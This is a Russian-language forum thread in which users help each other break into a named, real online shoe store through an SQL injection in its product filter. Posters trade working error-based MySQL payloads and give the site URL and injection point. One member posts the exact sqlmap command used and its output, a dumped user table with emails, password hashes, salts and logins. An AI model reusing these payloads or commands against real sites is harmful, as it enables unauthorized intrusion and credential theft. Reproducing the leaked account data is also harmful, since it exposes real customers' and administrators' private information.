Здравствуйте, коллеги Вообщем недавно решил помимо разработки сайтов научиться взламывать сайты. Нарыл один интересный интернет-магазин, и сразу же нашел SQL инъекцию.

http://storage3.static.itmages.ru/i/...cd034d40ce.png

Вообщем что только не придумывал, и union прописывал и т.д.

Вылетает одна и та же хрень, ошибка синтаксиса. Инъекция работает если ставить " кавычку.

http://storage2.static.itmages.ru/i/...79a5a0d2df.jpg

Какие еще могут быть варианты для взлома?

Пробуйте error based вектор. например:

'or(ExtractValue(1,concat(0x3a,(select(version())) )))='1

или

'-updatexml(0,repeat(version(),2),2)#

Чувак я советую полностью тебе ссылку закрывать,я её через inurl нашёл .

да все равно, кто нашел, тот молодец. Сайт я взломать пытаюсь не для корыстной цели, а для практики.

----------------------------------

Не помогло....

"))))||1+group+by+concat(version(),floor(rand(0)*2 ))having+min(0)%23

в ошибке увидите версию

Тоже не пашет .

а какого типа эта инъекция, если можно манукльчик ))

error based

Вообщем кому интересно ломануть сайтик, а потом рассказать (поделиться опытом), как это сделал, вот ссыль - http://xn--80abd6ar5a2c.xn--p1ai/

Инъекция - http://xn--80abd6ar5a2c.xn--p1ai/shop/product/filter?productFilter[_ef][gender][]=Мужская"

Пашет всё=)

что-то не получается

Убери одну скобку в запросе.

")))||1+group+by+concat(version(),floor(rand(0)*2) )having+min(0)%23

Надо ошибки тоже читать.

красавчик ))

base: w106051

Table: user

[5 entries]

+----------------------+---------------+-------------------------------+-------------+

| email | password | salt | login |

+----------------------+---------------+-------------------------------+-------------+

| @ya.ru | $2nWSDmGDU.V6 | $2a$14$2JzmyFg/HuG55/xYBrIXMA | delvin |

| @altlogic.ru | $22dAubujSFfU | $2a$14$EnpIvtkw.xRbLRzjwbquxg | admin |

| @mail.ru | $2JpCew0SKvc. | $2a$14$ltDzAFvK5i0qU33i2nvaPg | durova_vita |

| @tagan.ru | $24LkUVLWIjU2 | $2a$14$tk2uQd0jCUpmApJ6kmSB/g | dmi |

| @gmail.com | $2KvStv//sqiM | $2a$14$VNPbpZZMDzNBW8Lt9JD6dw | obuvka |

+----------------------+---------------+-------------------------------+-------------+

sqlmap -u "http://обувъка.рф/shop/product/filter?productFilter[_ef][gender][]="*" --dbms Mysql --time-sec 10 --threads 10 --level 3 --risk 3 --technique E -D w106051 -T user -C email,password,salt,login --dump

Можете рассказать как сделали?

От души

Так то думать надо .... читать ...

(sqlmap - хороший софт, но лучше учись сам раскручивать ИМХО.)

зачем изобретать велосипед? есть софт он работает

по логу можно понять что происходит

а вот если автоматизация не прокатила то да имеет смысл копать руками!

п.с. имхо